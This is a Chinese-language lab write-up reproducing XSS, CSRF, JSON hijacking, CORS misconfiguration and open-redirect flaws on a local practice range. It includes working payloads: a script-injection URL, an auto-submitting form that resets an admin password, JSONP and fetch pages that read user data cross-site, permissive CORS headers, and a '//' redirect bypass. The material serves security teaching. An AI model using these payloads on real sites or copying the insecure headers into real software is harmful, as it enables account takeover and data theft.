前端漏洞


前端漏洞综合复现(XSS、CSRF、JSON Hijacking、CORS、URL 跳转)

漏洞环境:前端漏洞靶场环境

​ ——front(系统有两个用户: user1/user1 、 admin1/admin1)

反射型 XSS 漏洞

在靶场环境的搜索或参数回显功能中,发现用户输入未经过滤直接输出到页面。构造如下 URL:

http://localhost:8983/front/search.php?q=<script>alert('test')</script>

访问后浏览器弹出 test,证明存在反射型 XSS。

弹框 test13 验证 XSS 成功


CSRF(跨站请求伪造)漏洞

任务:复现环境中的CSRF漏洞,设计表单,当管理员点击URL以后自动将自己的密码重置为123456 目标系统 /front/info.php 提供密码修改功能,且未校验请求来源或 Token。通过抓包获取修改密码的 POST 请求结构:

  1. 抓包得到修改密码的 post 表单

Figure - 抓包得到修改密码的 post 表单

  1. 修改表单并准备相关注入函数
function stealCookies() {
    fetch('http://localhost:8983/front/info.php?name=', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': document.cookie,
        },
        body: 'newpassword=123456&passwordrepeat=123456',
    })  .then(response => response.text())
        .catch(error => console.error('Error:', error));

  1. 设计运行条件,通过CSRF跨站执行该js脚本

脚本设计上有一点问题,即cookies的获取:

实际上,CSRF利用重定向机制自动附上Cookies,且CORS机制不允许通过fetch函数请求资源,于是转而手动构造POST表单,利用浏览器自动附带 Cookie 的特性:

<!DOCTYPE html>

<head>
    <meta charset="utf-8">
    <title>My Page</title>
</head>

<head>
    <title>My first PHP page</title>
</head>

<body>
    <h1>This is a hacker page</h1>
    <p>It is not a real page</p>
    <p>It is a page to steal your account</p>
    <form action="http://localhost:8983/front/info.php?name=" method="POST">
        <input type="text" name="newpassword" value="123456" hidden="hidden">
        <input type="password" name="passwordrepeat" value="123456" hidden="hidden">

        <input type="submit" value="Submit">
    </form>

</body>

</html>

经交流发现,设置<script>document.forms[0].submit();</script>

该表单在受害者(如管理员)访问钓鱼页面时自动提交,无需交互

<form action="http://localhost:8983/front/info.php?name=" method="POST">
  <input type="text" name="newpassword" value="123456" hidden>
  <input type="password" name="passwordrepeat" value="123456" hidden>
</form>
<script>document.forms[0].submit();</script>

POST表单的提交方式CORS策略允许通过,且查看发现请求发现已经带上了Cookies,可执行CSRF攻击

Figure - CSRF 表单自动提交演示

该表单在受害者(如管理员)访问钓鱼页面时自动提交,无需交互。

  1. 根据上一步的请求表单制作钓鱼网页

目标站点登录,维持Cookies便于利用:

Figure - CSRF get Cookies

管理员登录状态下访问钓鱼页,请求自动携带有效 Session Cookie:

打开构造好的表单,准备执行CSRF攻击:

点击表单提交按钮,由于和靶机站点之间有session存在,Cookies得以维持在其生命周期内,在生命周期中,根据CORS默认策略,会为POST请求附上Cookies

Figure - 演示用钓鱼网页

提交表单结束,页面被重定向到靶机

且由于密码更新,原有的Cookies被替换,原会话Cookies过期,Session将自动被退出,这时候已经完成了密码的窃取和替换

提交后密码被重置为 123456,原会话失效,验证 CSRF 成功:

Figure - This is an image.

尝试用原密码登录失败,使用新密码 123456 成功登录:

Figure - This is an image.

Figure - This is an image.


JSON Hijacking 漏洞

任务:复现环境中JSON Hijacking漏洞,在另一个网站(或本机另一个端口)获取用户信息

目标接口 /front/userdata.php 支持 JSONP 回调,且未限制 callback 参数。攻击者可构造如下页面窃取用户数据:

<script>
function handleResponse(data) {
  for (var key in data) {
    var el = document.createElement("h3");
    el.textContent = key + ": " + data[key];
    document.body.appendChild(el);
  }
}
</script>
<script src="http://localhost:8983/front/userdata.php?callback=handleResponse"></script>

当已登录用户访问该页面时,浏览器自动携带 Cookie 请求用户数据,并通过回调函数渲染到攻击者页面。

This is an image.

Figure - This is an image.


CORS 配置不当导致信息泄露

任务:通过在服务器Web目录创建.htaccess文件,控制服务器响应头,实现CORS漏洞,在另一网站,接收HTML接口的用户信息。

在服务器 Web 目录下创建 .htaccess 文件,添加如下响应头:

Header set Access-Control-Allow-Origin "*"
Header set Access-Control-Allow-Credentials "true"

使接口允许任意域跨域读取数据。攻击者页面通过 fetch 请求敏感接口:Figure - This is an image.

构造跨站请求信息的函数

function CORS(url) {
  fetch(url)
    .then(res => res.text())
    .then(data => {
      var div = document.createElement("div");
      div.innerHTML = data;
      document.body.appendChild(div);
    });
}
CORS("http://localhost:8983/front/cors.php");

访问其他端口的页面,发现成功获取并渲染目标页面内容:

Figure - This is an image.


URL 跳转漏洞

系统存在开放重定向功能,如:

http://localhost:8983/front/redirect.php?url=https://baidu.com

虽对 http://https:// 进行过滤,但未处理协议相对路径。构造如下 payload 绕过:

http://localhost:8983/front/redirect.php?url=//baidu.com

成功跳转至百度官网,可被用于钓鱼或绕过安全检测。

Comments

Leave a comment